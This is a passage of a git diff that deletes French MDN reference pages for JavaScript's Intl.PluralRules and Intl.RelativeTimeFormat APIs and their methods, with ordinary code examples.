Utiliser supportedLocalesOf()

- -

Si on dispose d'un environnement qui supporte les locales indonésienne et allemande mais pas balinaise pour le formatage des dates et des heures, supportedLocalesOf renverra les balises BCP 47 pour l'indonésien et l'allemand (bien que la collation pinyin ne soit pas pertinente pour les nombres ni pour l'indonésien et qu'il soit peu probable qu'une variante indonésienne existe pour l'allemand). Pour l'exemple, on l'utilise l'algorithme "lookup". Si on utilisait "best fit", on pourrait considérer que l'indonésien est adéquat pour la locale balinaise (sachant que la plupart des balinais comprend l'indonésien) et donc également renvoyer la balise balinaise.

- -
var locales = ["ban", "id-u-co-pinyin", "de-ID"];
-var options = {localeMatcher: "lookup"};
-console.log(Intl.NumberFormat.supportedLocalesOf(locales, options).join(", "));
-// → "id-u-co-pinyin, de-ID"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES Int 1.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int 1.0')}}Définition initiale
{{SpecName('ES Int 2.0', '#sec-11.2.2', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int 2.0')}} 
{{SpecName('ES Int Draft', '#sec-Intl.NumberFormat.supportedLocalesOf', 'Intl.NumberFormat.supportedLocalesOf')}}{{Spec2('ES Int Draft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.NumberFormat.supportedLocalesOf")}}

- -

Voir aussi

- -
    -
  • {{jsxref("NumberFormat", "Intl.NumberFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html deleted file mode 100644 index 0d49ec4de0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/index.html +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Intl.PluralRules -slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules -tags: - - Internationalisation - - Intl - - JavaScript - - PluralRules - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules ---- -
{{JSRef}}
- -

L'objet Intl.PluralRules est un constructeur d'objets qui permettent de mettre en forme des chaînes de caractères en fonction des règles de nombre (pluriel) d'une langue donnée.

- -

Syntaxe

- -
new Intl.PluralRules([locales[, options]])
-
- -

Paramètres

- -
-
locales
-
-

Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

-
-
options {{optional_inline}}
-
-

Optionnel, un objet possédant tout ou partie des propriétés suivantes :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}
-
type
-
Le type de numérotation à utiliser. Les valeurs possibles sont : -
    -
  • "cardinal" pour les nombres cardinaux (la quantité de telle ou telle chose). Cette valeur est la valeur par défaut.
    • -
  • "ordinal" pour les nombres ordinaux (l'ordre relatif de différentes choses « premier », « deuxième », « troisième »).
    • -
-
-
-
-
- -

Description

- -

Propriétés

- -
-
{{jsxref("PluralRules.prototype", "Intl.PluralRules.prototype")}}
-
Cette propriété permet d'ajouter des propriétés aux objets Intl.PluralRules.
-
- -

Méthodes

- -
-
{{jsxref("PluralRules.supportedLocalesOf", "Intl.PluralRules.supportedLocalesOf()")}}
-
Cette méthode renvoie un tableau contenant les locales prises en charge sans que le moteur ait à utiliser la locale par défaut du système d'exécution.
-
- -

Instances de PluralRules

- -

Propriétés

- -

Les instances de PluralRules héritent des propriétés suivantes de par leur prototype :

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Propriétés')}}
- -

Méthodes

- -

Les instances de PluralRules héritent des méthodes suivantes de par leur prototype :

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/PluralRules/prototype', 'Méthodes')}}
- -

Exemples

- -

Exemple simple

- -

Sans indiquer de locale, une chaîne formatée dans la locale par défaut et avec les options par défaut est renvoyée. On peut ainsi différencier entre le singulier et le pluriel (par exemple "chien" et "chiens").

- -
var pr = new Intl.PluralRules();
-
-pr.select(0);
-// → 'one' si utilisée avec une locale anglais américain
-
-pr.select(1);
-// → 'one' si utilisée avec une locale anglais américain
-
-pr.select(2);
-// → 'other' si utilisée avec une locale anglais américain
-
- -

Utiliser locales

- -

Dans cet exemple, on voit l'impact de la locale sur les règles de nombre. Afin de respecter la langue de l'utilisateur dans votre application, assurez vous d'indiquer cette langue (et éventuellement une langue de secours) grâce à l'argument locales :

- -
// L'arabe possède plusieurs règles
-// de nombre
-
-new Intl.PluralRules('ar-EG').select(0);
-// → 'zero'
-new Intl.PluralRules('ar-EG').select(1);
-// → 'one'
-new Intl.PluralRules('ar-EG').select(2);
-// → 'two'
-new Intl.PluralRules('ar-EG').select(6);
-// → 'few'
-new Intl.PluralRules('ar-EG').select(18);
-// → 'many'
-
- -

Utiliser options

- -

Les résultats obtenus peuvent être adaptés grâce à l'argument options. Celui-ci possède une propriété appelée type qui peut valoir ordinal. Cela peut être utile afin de déterminer la forme d'un indicateur ordinal (par exemple, "1er", "2e", etc.).

- -
var pr = new Intl.PluralRules('en-US', { type: 'ordinal' });
-
-pr.select(0);
-// → 'other'
-pr.select(1);
-// → 'one'
-pr.select(2);
-// → 'two'
-pr.select(3);
-// → 'few'
-pr.select(4);
-// → 'other'
-pr.select(42);
-// → 'two'
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour le constructeur Intl.PluralRules{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Intl.PluralRules")}}

-
- -

Voir aussi

- -
{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl', 'Voir_aussi')}}
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html deleted file mode 100644 index 6674890eb1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/prototype/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Intl.PluralRules.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/prototype -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/prototype ---- -
{{JSRef}}
- -

La propriété Intl.PluralRules.prototype représente le prototype du constructeur {{jsxref("PluralRules", "Intl.PluralRules")}}.

- -
{{js_property_attributes(0, 0, 0)}}
- -

Description

- -

Voir {{jsxref("PluralRules")}} pour la description des instances Intl.PluralRules.

- -

Les instances de {{jsxref("PluralRules", "Intl.PluralRules")}} héritent de Intl.PluralRules.prototype. Les modifications apportées au prototype seront héritées par l'ensemble des instances de {{jsxref("PluralRules", "Intl.PluralRules")}}.

- -

Propriétés

- -
-
Intl.PluralRules.prototype.constructor
-
Une référence à Intl.PluralRules.
-
- -

Méthodes

- -
-
{{jsxref("PluralRules.resolvedOptions", "Intl.PluralRules.prototype.resolvedOptions()")}}
-
Cette méthode renvoie un nouvelle objet dont les propriétés reflètent la locale et les options de collations calculées lors de l'initialisation de l'objet.
-
{{jsxref("PluralRules.select", "Intl.PluralRules.prototype.select()")}}
-
Cette méthode renvoie une chaîne de caractères ({{jsxref("String")}}) qui indique quelle forme de règle de nombre est utilisée pour le formatage.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec IntlBrouillonDéfinition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Intl.PluralRules.prototype")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html deleted file mode 100644 index 66f4062703..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/resolvedoptions/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Intl.PluralRules.prototype.resolvedOptions() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/resolvedOptions -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - PluralRules - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/resolvedOptions ---- -
{{JSRef}}
- -

La méthode Intl.PluralRules.prototype.resolvedOptions() renvoie un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.

- -

Syntaxe

- -
pluralRule.resolvedOptions()
- -

Valeur de retour

- -

Un nouvel objet dont les propriétés reflètent la locale et les options de formatage relatives aux règles de nombre calculées lors de l'initialisation de l'objet {{jsxref("PluralRules")}}.

- -

Description

- -

L'objet produit possède les propriétés suivantes :

- -
-
locale
-
La balise de langue BCP 47 pour la locale réellement utilisée. Si une extension Unicode a été demandée dans la balise de langue BCP 47 ayant menée à cette locale, les paires clé/valeur qui ont été demandées et qui sont prises en charge dans cette locale sont incluses dans l'objet locale.
-
pluralCategories
-
Un tableau {{jsxref("Array")}} des règles de nombre utilisée pour la langue donnée.
-
type
-
Le type de règle utilisée (cardinal ou ordinal).
-
- -

Seul l'un de ces deux groupes de propriétés est inclus :

- -
-
minimumIntegerDigits
-
minimumFractionDigits
-
maximumFractionDigits
-
Les valeurs fournies pour ces propriétés via l'argument options ou les valeurs par défaut. Ces propriétés sont uniquement présentes si aucunes des propriétés minimumSignificantDigits ou maximumSignificantDigits n'a été fournie dans l'argument options.
-
minimumSignificantDigits
-
maximumSignificantDigits
-
Les valeurs fournies par ces propriétés via l'argument options ou les valeurs par défaut. Ces propriétés sont uniquement présentes si au moins l'une d'entre elles a été fournie dans l'argument options.
-
- -

Exemples

- -

Utiliser resolvedOptions()

- -
var de = new Intl.PluralRules('de-DE');
-var usedOptions = de.resolvedOptions();
-
-usedOptions.locale;                // "de-DE"
-usedOptions.maximumFractionDigits; // 3
-usedOptions.minimumFractionDigits; // 0
-usedOptions.minimumIntegerDigits;  // 1
-usedOptions.pluralCategories;      // Array [ "one", "other" ]
-usedOptions.type;                  // "cardinal"
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec IntlBrouillonDéfinition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Intl.PluralRules.resolvedOptions")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html deleted file mode 100644 index 9d9b8eac11..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/select/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: Intl.PluralRules.select() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/select -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - PluralRules - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/select ---- -
{{JSRef}}
- -

La méthode Intl.PluralRules.prototype.select renvoie une chaîne de caractères qui indique la règle de nombre utilisée pour le formatage relatif à la locale.

- -

Syntaxe

- -
pluralRule.select(nombre)
- -

Paramètres

- -
-
nombre
-
Le nombre pour lequel on souhaite obtenir la règle de nombre associée.
-
- -

Description

- -

Cette fonction permet de sélectionner une règle de nombre en fonction de la locale et des options de formatage choisies via un objet {{jsxref("PluralRules")}}.

- -

Exemples

- -
 new Intl.PluralRules('ar-EG').select(0);
-// → 'zero'
-
-new Intl.PluralRules('ar-EG').select(1);
-// → 'one'
-
-new Intl.PluralRules('ar-EG').select(2);
-// → 'two'
-
-new Intl.PluralRules('ar-EG').select(6);
-// → 'few'
-
-new Intl.PluralRules('ar-EG').select(18);
-// → 'many'
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec Intl{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Intl.PluralRules.select")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html deleted file mode 100644 index 31faa9f6b0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/pluralrules/supportedlocalesof/index.html +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Intl.PluralRules.supportedLocalesOf() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/PluralRules/supportedLocalesOf -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - PluralRules - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/PluralRules/supportedLocalesOf ---- -
{{JSRef}}
- -

La méthode Intl.PluralRules.supportedLocalesOf() renvoie un tableau contenant les locales prises en charge, parmi celles passées en argument, pour les règles de nombre (sans avoir à utiliser la locale par défaut du système d'exécution).

- -

Syntaxe

- -
Intl.PluralRules.supportedLocalesOf(locales[, options])
- -

Paramètres

- -
-
locales
-
Une chaîne de caractères représentant une balise de langue BCP 47 ou bien un tableau de telles chaînes. Pour la forme générale de l'argument locales, se référer à la page {{jsxref("Intl", "Intl", "#Identification_et_choix_de_la_locale", 1)}}.
-
options {{optional_inline}}
-
-

Optionnel. Un objet pouvant contenir la propriété suivante :

- -
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.
-
-
-
- -

Valeur de retour

- -

Un tableau de chaînes de caractères représentant le sous-ensemble de balises de langues prises en charge pour le formatage avec les règles de nombre (sans qu'il soit nécssaire d'utiliser la locale par défaut du système d'exploitation).

- -

Description

- -

Cette méthode renvoie un tableau contenant un sous-ensemble des balises de langue fournies dans l'argument locales. Les balises de langue sont celles qui sont prises en charge par l'environnement pour le formatage avec les règles de nombre et pour lesquelles la locale respecte l'algorithme de correspondance indiqué. Les locales de ce tableau évitent d'avoir à utiliser la locale du système d'exécution par défaut.

- -

Exemples

- -

Dans l'hypothèse où on utilise un système prenant en charge l'indonésien, l'allemand mais pas le balinais pour le formatage avec les règles de nombre, supportedLocalesOf renvoie les balises de langue indonésienne et allemande inchangées bien que la collation pinyin ne soit pas pertinente ni utilisée avec l'indonésien (et qu'il est peu probable qu'une variante indonésienne pour l'allemand soit prise en charge). On notera que l'algorithme de correspondance "lookup" est utilisé ici. L'algorithme "best fit" aurait pu déterminer que l'indonésien aurait pu remplacer le balinais car la plupart des personnes parlant le balinais comprend également l'indonésien, la fonction aurait alors pu remplacer la balise de langue balinaise.

- -
var locales = ['ban', 'id-u-co-pinyin', 'de-ID'];
-var options = { localeMatcher: 'lookup' };
-console.log(Intl.PluralRules.supportedLocalesOf(locales, options).join(', '));
-// → "id-u-co-pinyin, de-ID"
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Brouillon pour les règles de nombre avec Intl{{Spec2('ES Int Draft')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
- - -

{{Compat("javascript.builtins.Intl.PluralRules.supportedLocalesOf")}}

-
- -

Voir aussi

- -
    -
  • {{jsxref("PluralRules", "Intl.PluralRules")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html deleted file mode 100644 index 8a065ae341..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/format/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Intl.RelativeTimeFormat.prototype.format() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/format -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/format ---- -
{{JSRef}}
- -
La méthode Intl.RelativeTimeFormat.prototype.format() permet de formater une valeur avec une unité selon des options de locale et de formatage stockées dans l'objet {{jsxref("RelativeTimeFormat")}}.
- -
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-format.html")}}
- - - -

Syntaxe

- -
RelativeTimeFormat.format(valeur, unite)
- -

Paramètres

- -
-
valeur
-
Une valeur numérique qu'on souhaite utiliser pour exprimer un temps relatif dans un message internationalisé.
-
- -
-
unite
-
L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont "year" (année), "quarter" (trimestre), "month" (mois), "week" (semaine), "day" (jour), "hour" (heure), "minute" (minute), "second" (secondes). Les formes plurielles sont également autorisées.
-
- -

Description

- -

La fonction renvoyée par l'accesseur format permet de formater une valeur et une unité en une chaîne de caractères en prenant en compte la locale et les options de formatage associées à l'objet {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} utilisé.

- -

Exemples

- -

Utilisation simple de format

- -

L'exemple suivant illustre comment créer un outil de formatage pour les valeurs de temps relatifs en anglais.

- -
// On crée un outil de formatage pour les valeurs exprimant
-// les temps relatifs en anglais, avec les valeurs par défaut
-// utilisées explicitement.
-const rtf = new Intl.RelativeTimeFormat("en", {
-    localeMatcher: "best fit", // autre valeur possible : "lookup"
-    numeric: "always", // autre valeur possible : "auto"
-    style: "long", // autres valeurs possibles : "short" ou "narrow"
-});
-
-// Formatage d'une valeur relative négative.
-rtf.format(-1, "day");
-// > "1 day ago"
-
-// Formatage d'une valeur relative positive.
-rtf.format(1, "day");
-// > "in 1 day"
- -

Utiliser l'option auto

- -

Si on passe l'option numeric:auto, c'est la chaîne de caractères yesterday ou tomorrow qui sera produite (en anglais) plutôt que 1 day ago ou in 1 day. Cela permet de n'avoir pas nécessairement une valeur numérique en résultat.

- -
// On crée un formateur en anglais avec l'option
-// numeric: "auto".
-const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
-
-// Formatage d'une valeur relative négative.
-rtf.format(-1, "day");
-// > "yesterday"
-
-// Formatage d'une valeur relative positive.
-rtf.format(1, "day");
-// > "tomorrow"
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.format")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html deleted file mode 100644 index 4a107d215c..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/formattoparts/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Intl.RelativeTimeFormat.prototype.formatToParts() -slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/formatToParts -tags: - - Internationalisation - - Intl - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/formatToParts ---- -
{{JSRef}}
- -

La méthode Intl.RelativeTimeFormat.prototype.formatToParts() est une méthode analogue à format() qui renvoie un tableau d'objets contenant les différentes parties représentant le message internationalisé pour le temps relatif.

- -
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat-prototype-formattoparts.html")}}
- - - -

Syntaxe

- -
RelativeTimeFormat.formatToParts(valeur, unite)
- -

Paramètres

- -
-
valeur
-
Une valeur numérique qu'on souhaite formater pour un message internationalisé exprimant un temps relatif.
-
- -
-
unite
-
L'unité à utiliser pour le message internationalisé exprimant le temps relatif. Les valeurs possibles pour cet argument sont "year" (année), "quarter" (trimestre), "month" (mois), "week" (semaine), "day" (jour), "hour" (heure), "minute" (minute), "second" (secondes). Les formes plurielles sont également autorisées.
-
- -

Valeur de retour

- -

Un tableau ({{jsxref("Array")}}) d'objets contenant les fragments composant la chaîne de caractères localisée et mise en forme pour exprimer le temps relatif.

- -

Description

- -
La méthode Intl.RelativeTimeFormat.prototype.formatToParts() est une méthode analogue à la méthode format() mais renvoie un tableau d'objets représentant chacun une partie du message internationalisé. Ces objets ont deux propriétés : type et value. Si un des composants provient de NumberFormat, il aura une propriété unit indiquant l'unité utilisée pour le formatage.
- -

Exemples

- -
const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
-
-// Format relative time using the day unit.
-rtf.formatToParts(-1, "day");
-// > [{ type: "literal", value: "yesterday"}]
-
-rtf.formatToParts(100, "day");
-// > [{ type: "literal", value: "in " },
-      { type: "integer", value: "100", unit: "day" },
-      { type: "literal", value: " days" }]
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationsÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.formatToParts")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html deleted file mode 100644 index f15c5db724..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Intl.RelativeTimeFormat -slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat -tags: - - Constructeur - - Internationalisation - - Intl - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat ---- -
{{JSRef}}
- -

L'objet Intl.RelativeTimeFormat est un constructeur fournissant des objets pour mettre en forme des données temporelles relatives en respectant le format des locales.

- -
{{EmbedInteractiveExample("pages/js/intl-relativetimeformat.html")}}
- - - -

Syntaxe

- -
new Intl.RelativeTimeFormat([locales[, options]])
- -

Paramètres

- -
-
locales
-
-

Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales, voir la page {{jsxref("Objets_globaux/Intl","Intl","#L'identification_et_le_choix_de_la_locale")}}.

-
-
options {{optional_inline}}
-
-

Optionnel, un objet possédant tout ou partie des propriétés suivantes :

-
-
-
-
localeMatcher
-
L'algorithme de correspondance à utiliser pour la locale. Les valeurs possibles sont "lookup" et "best fit" ; le défaut est "best fit". Pour des informations sur cette option, voir la page {{jsxref("Objets_globaux/Intl","Intl","##Choix_de_la_locale")}}.
-
numeric
-
Le format du message de sortie. Les valeurs possibles sont "always" (par exemple 1 day ago) ou  "auto" (par exemple yesterday). "auto" permet de ne pas toujours avoir de valeurs numériques dans le message produit.
-
- -
-
style
-
La longueur du message internationalisé. Les valeurs possibles sont : "long" (la valeur par défaut) (par exemple : in 1 month), "short" (par exemple : in 1 mo.) ou  "narrow" (par exemple : in 1 mo.). Le style narrow peut être semblable au style short pour certaines locales.
-
-
-
- -

Description

- -

Propriétés

- -
-
{{jsxref("RelativeTimeFormat.prototype", "Intl.RelativeTimeFormat.prototype")}}
-
Cette propriété permet d'ajouter des propriétés à l'ensemble des instances.
-
- -

Méthodes

- -
-
{{jsxref("RelativeTimeFormat.supportedLocalesOf", "Intl.RelativeTimeFormat.supportedLocalesOf()")}}
-
Cette méthode renvoie un tableau des locales, parmi celles passées en argument, qui sont pris en charge pour le formatage internationalisé des temps relatifs sans qu'il y ait besoin d'utiliser la locale par défaut de l'environnement d'exécution.
-
- -

Les instances de RelativeTimeFormat

- -

Propriétés

- -

Les instances de RelativeTimeFormat héritent des propriétés suivantes grâce à leur prototype :

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Propriétés')}}

- -

Méthodes

- -

Les instances de RelativeTimeFormat héritent des méthodes suivantes grâce à leur prototype :

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Intl.RelativeTimeFormat/prototype', 'Méthodes')}}

- -

Exemples

- -

Utiliser format()

- -

L'exemple suivant illustre comment créer un formateur de temps relatif en anglais :

- -
// On crée un formateur en anglais en utilisant explicitement
-// les valeurs par défaut.
-const rtf = new Intl.RelativeTimeFormat("en", {
-    localeMatcher: "best fit", // autre valeur possible : "lookup"
-    numeric: "always", // autre valeur possible : "auto"
-    style: "long", // autre valeur possible : "short" ou "narrow"
-});
-
-// On formate un temps relatif avec une valeur négative (-1).
-rtf.format(-1, "day");
-// > "1 day ago"
-
-// On formate un temps relatif avec une valeur positive (1).
-rtf.format(1, "day");
-// > "in 1 day"
- -

Utiliser l'option auto

- -

Si l'option numeric:auto est passée, on aura la chaîne de caractères yesterday ou tomorrow plutôt que 1 day ago ou in 1 day. De cette façon, on peut ne pas avoir de valeur numérique dans la valeur produite.

- -
// On crée un formateur en anglais avec l'option
-// numeric: "auto".
-const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
-
-// On formate un temps relatif avec une valeur négative (-1).
-rtf.format(-1, "day");
-// > "yesterday"
-
-// On formate un temps relatif avec une valeur positive (1).
-rtf.format(1, "day");
-// > "tomorrow"
-
- -

Utiliser formatToParts()

- -

L'exemple suivant illustre comment créer un formateur de temps relatif qui renvoie les différents fragments pour exprimer le temps relatif internationalisé.

- -
const rtf = new Intl.RelativeTimeFormat("en", { numeric: "auto" });
-
-// On crée un temps relatif exprimé en jour.
-rtf.formatToParts(-1, "day");
-// > [{ type: "literal", value: "yesterday"}]
-
-rtf.formatToParts(100, "day");
-// > [{ type: "literal", value: "in " },
-      { type: "integer", value: "100", unit: "day" },
-      { type: "literal", value: " days" }]
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationEtatCommentaires
Proposition pour le constructeur Intl.RelativeTimeFormatProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html deleted file mode 100644 index 9e212403c3..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/intl/relativetimeformat/prototype/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Intl.RelativeTimeFormat.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Intl/RelativeTimeFormat/prototype -tags: - - Internationalisation - - Intl - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat -translation_of_original: Web/JavaScript/Reference/Global_Objects/Intl/RelativeTimeFormat/prototype ---- -
{{JSRef}}
- -

La propriété Intl.RelativeTimeFormat.prototype représente l'objet prototype utilisé par le constructeur {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.

- -

{{js_property_attributes(0, 0, 0)}}

- -

Description

- -

Voir {{jsxref("RelativeTimeFormat")}} pour une description des instances Intl.RelativeTimeFormat.

- -

Les instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}} héritent de Intl.RelativeTimeFormat.prototype. Les modifications apportées au prototype seront héritées par l'ensemble des instances {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}.

- -

Propriétés

- -
-
Intl.RelativeTimeFormat.prototype.constructor
-
Une référence à Intl.RelativeTimeFormat.
-
- -

Méthodes

- -
-
{{jsxref("RelativeTimeFormat.format", "Intl.RelativeTimeFormat.prototype.format()")}}
-
Une méthode qui formate une valeur, accompagnée d'une unité selon des options de locales et de formatage stockées dans l'objet Intl.RelativeTimeFormat.
-
{{jsxref("RelativeTimeFormat.formatToParts", "Intl.RelativeTimeFormat.prototype.formatToParts()")}}
-
Une méthode qui formate une valeur comme la méthode format() mais qui renvoie un tableau ({{jsxref("Array")}}) contenant les différentes parties de la valeur formatée.
-
{{jsxref("RelativeTimeFormat.resolvedOptions", "Intl.RelativeTimeFormat.prototype.resolvedOptions()")}}
-
Une méthode qui renvoie un objet dont les propriétés indique les options de locale et de formatage calculées lors de l'initialisation du formateur.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
Proposition pour Intl.RelativeTimeProposition de niveau 3 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Intl.RelativeTimeFormat.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("RelativeTimeFormat", "Intl.RelativeTimeFormat")}}
    • -
